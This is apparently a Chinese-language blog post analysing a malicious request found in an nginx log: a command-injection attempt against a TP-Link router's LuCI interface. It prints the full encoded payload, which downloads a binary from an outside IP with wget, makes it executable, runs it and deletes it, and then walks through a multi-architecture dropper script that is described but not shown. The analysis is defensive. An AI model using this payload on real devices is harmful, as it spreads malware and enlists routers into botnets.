/cgi-bin/luci/;stok=/locale恶意请求分析
看了下nginx日记发现一段恶意请求。
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F185.216.70.79%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)
这段日记是一段尝试在路由器上执行恶意命令的攻击代码,具体来说是在尝试进行命令注入攻击。此代码通过 Web 管理界面的 URL 路径来发送恶意命令,目的是在设备上执行未授权的操作。
让我分解并解释这一串代码:
1. **URL 结构**:
- `/cgi-bin/luci/;stok=/locale`: 这似乎是试图通过特定的会话令牌访问设备的管理界面。
- `?form=country&operation=write&country=`: 这部分代码看起来是用来更改国家设置的表单提交。
2. **注入的命令**:
- `$(id%3E%60...%60)`: 使用倒引号(`%60` 是倒引号的 URL 编码)执行的命令嵌入在 `country` 参数中,利用这个参数执行 Shell 命令。
- `id>`: 查看用户 ID,可能用于测试当前的权限。
- `cd /tmp; rm -rf r`: 切换到临时目录 `/tmp` 并删除名为 `r` 的文件(如果存在)。
- `wget http://185.216.70.79/r;`: 从特定的 URL 下载文件到路由器。
- `chmod 777 r;`: 改变下载文件的权限,使其可执行。
- `./r tplink;`: 执行下载的文件,并传递 `tplink` 作为参数。
- `rm -rf r`: 执行后删除文件 `r`。
这是一个非常危险的攻击尝试,目的是在无人察觉的情况下下载并执行恶意软件。这种类型的攻击可以用于创建僵尸网络、窃取数据、DDoS攻击或更多恶意活动。
这段脚本是一个 Bash 脚本,主要用于在一个 Linux 系统中执行一系列操作,包括下载、执行和删除特定的二进制文件。脚本中使用了多种网络工具(如 wget, curl, 和 tftp)来确保文件可以从指定的服务器下载下来。以下是该脚本的详细解析:
1. **变量定义**:
- `binarys`:定义了一组架构名称,这些架构的名称被用作下载的文件名。
- `server_ip`:定义了文件服务器的 IP 地址,脚本将从这个服务器下载对应的文件。
2. **循环操作**:
- `for arch in $binarys`:对 `binarys` 变量中定义的每一个架构名进行循环。
3. **循环体内的操作**:
- `rm -rf $arch`:删除当前架构名对应的文件(如果存在),确保不会与之前的文件冲突。
- `wget http://$server_ip/$arch`:使用 `wget` 工具从服务器下载文件。如果 wget 失败,则尝试使用 curl。
- `curl -O http://$server_ip/$arch`:如果 wget 下载失败,则尝试使用 `curl` 工具下载文件。
- `tftp $server_ip -c get $arch` 和 `tftp -g -r $arch $server_ip`:如果 curl 也失败,则尝试使用 `tftp` 两种不同的参数形式下载文件。
- `chmod 777 $arch`:修改下载文件的权限,设置为可执行(chmod 777 表示对所有用户可读、可写、可执行)。
- `./$arch $1`:执行下载的二进制文件,该文件的执行可能依赖于脚本的首个参数 `$1`。
- `rm -rf $arch`:任务执行完毕后,再次删除下载的文件,清理环境。